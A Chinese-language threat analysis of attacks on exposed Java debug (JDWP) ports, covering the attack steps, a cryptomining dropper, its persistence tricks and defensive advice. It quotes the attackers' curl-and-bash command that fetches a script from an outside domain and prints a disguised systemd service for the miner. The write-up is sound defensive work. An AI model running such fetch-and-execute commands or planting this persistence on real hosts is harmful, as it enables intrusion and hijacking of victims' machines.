暴露的 JDWP 在野外被利用:当调试端口被留下开放时会发生什么
字数 2499 2025-09-01 11:26:10
Java调试线协议(JDWP)安全风险与防护指南
1. JDWP概述
Java调试线协议(JDWP, Java Debug Wire Protocol)是Java平台的标准调试功能,允许开发者在不重启应用的情况下远程检查线程、内存和执行流。
1.1 JDWP启用方式
通过以下JVM参数启用JDWP:
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
参数说明:
transport=dt_socket:使用套接字传输server=y:作为服务器等待调试器连接suspend=n:不暂停JVM启动address=*:5005:监听所有网络接口的5005端口
1.2 常见会启用JDWP的应用
以下应用在调试模式下可能自动启动JDWP服务器:
- TeamCity (JetBrains开发的CI/CD服务器)
- Jenkins (流行的CI工具)
- Selenium Grid (分布式浏览器测试平台)
- Elasticsearch (基于Java的搜索引擎)
- Quarkus (云原生Java框架)
- Spring Boot (Java框架)
- Apache Tomcat (开源Web服务器)
2. JDWP安全风险
2.1 主要风险
- 无身份验证机制:默认不实现任何身份验证或访问控制
- 远程代码执行(RCE):攻击者可完全控制运行的Java进程
- 高度集中的攻击目标:暴露的JDWP实例通常在几小时内就会被利用
2.2 攻击统计数据
- 过去90天内,超过6,000个独立IP地址在扫描JDWP端点
- 暴露的JDWP实例通常在几小时内就会被攻击者发现并利用
3. JDWP攻击流程分析
3.1 攻击步骤
- 扫描阶段:攻击者扫描互联网上开放的JDWP端口(通常为5005)
- 握手确认:发送JDWP-Handshake请求确认接口活跃
- 获取环境信息:查询JVM获取可用类和方法
- 定位关键方法:找到
java.lang.Runtime及其getRuntime()和exec()方法 - 命令执行:通过JDWP协议执行系统命令
3.2 典型攻击命令示例
攻击者通过JDWP执行的典型命令:
curl -o /tmp/logservice.sh -s https://canonicalconnect[.]com/logservice.sh
bash /tmp/logservice.sh
3.3 JDWP协议层面的攻击技术
攻击者使用以下JDWP指令实现攻击:
CreateString:创建包含系统命令的Java字符串get_all_classes:获取所有可用类get_methods:获取类的方法INVOKESTATICMETHOD_SIG:调用静态方法(如Runtime.getRuntime())INVOKEMETHOD_SIG:调用实例方法(如exec())
4. 恶意载荷分析
4.1 投放器脚本(logservice.sh)
主要功能:
-
清除竞争进程:
- 杀死现有的xmrig进程
- 杀死CPU使用率超过60%的进程(部分白名单进程除外)
-
下载挖矿程序:
- 根据系统架构下载对应的XMRig变种
- 存储到
~/.config/logrotate - 赋予执行权限并运行
-
设置持久化机制:
- 修改shell启动文件(.bashrc, .zshrc等)
- 修改rc.local或/etc/rc.d/rc.local
- 创建systemd服务
- 设置多个cron作业
-
隐蔽措施:
- 执行后自删除脚本
- 使用合法工具名(logrotate)伪装
4.2 挖矿载荷
- 使用修改版XMRig,硬编码配置避免可疑命令行参数
- 使用矿池代理隐藏加密货币钱包地址
- 存储在
~/.config/logrotate伪装成系统工具
5. 持久化技术
攻击者采用多层次持久化机制:
5.1 启动脚本
- rc.local:根据发行版修改对应的启动文件
- systemd服务:创建伪装的logrotate服务,设置为持续重启
示例systemd服务文件:
[Unit]
Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files
[Service]
ExecStart=$HOME/.config/logrotate
Restart=always
Nice=-20
StandardOutput=null
[Install]
WantedBy=multi-user.target
5.2 Shell配置文件
修改用户shell配置文件:
- bash用户:.bashrc和.bash_logout
- zsh用户:.zshrc
5.3 Cron作业
在多个位置设置cron作业:
- /var/spool/cron/root
- /var/spool/cron/crontabs/root
- /etc/crontab
- /etc/cron.hourly/logrotate
- /etc/cron.daily/logrotate
- /etc/cron.weekly/logrotate
- /etc/cron.monthly/logrotate
- /etc/cron.yearly/logrotate
使用chattr +i设置不可修改属性保护恶意脚本
6. 防护措施
6.1 预防措施
-
生产环境禁用JDWP:
- 确保生产环境JVM未启用JDWP参数
- 检查所有Java应用的启动参数
-
网络隔离:
- 将JDWP端口限制在内部网络
- 使用防火墙规则限制访问源IP
- 避免使用
address=*绑定所有接口
-
安全配置:
- 如必须使用JDWP,设置
suspend=y使应用在调试器连接前暂停 - 使用SSH隧道等安全通道进行调试
- 如必须使用JDWP,设置
6.2 检测措施
-
网络监控:
- 监控对5005等JDWP常用端口的扫描和连接尝试
- 检测异常的JDWP协议流量
-
主机监控:
- 监控可疑的进程(如伪装成logrotate的xmrig)
- 检测高CPU使用的未知进程
- 检查系统启动项和cron作业的异常修改
6.3 响应措施
-
应急响应:
- 立即隔离受感染主机
- 终止恶意进程
- 检查并清除所有持久化机制
-
取证分析:
- 收集恶意脚本和二进制样本
- 分析网络连接和命令历史
- 检查系统日志和Java应用日志
7. 总结
JDWP作为Java调试的强大工具,在生产环境中的不当暴露会带来严重安全风险。攻击者能够快速发现并利用暴露的JDWP接口实现远程代码执行,进而部署挖矿软件和其他恶意载荷。通过多层次的持久化技术,攻击者能长期控制受感染主机。
防护的关键在于:
- 生产环境严格禁用JDWP
- 必须使用时实施严格的网络访问控制
- 建立有效的监控机制及时发现异常
- 定期检查系统配置和启动项
通过全面的防护策略,可以有效降低JDWP接口带来的安全风险。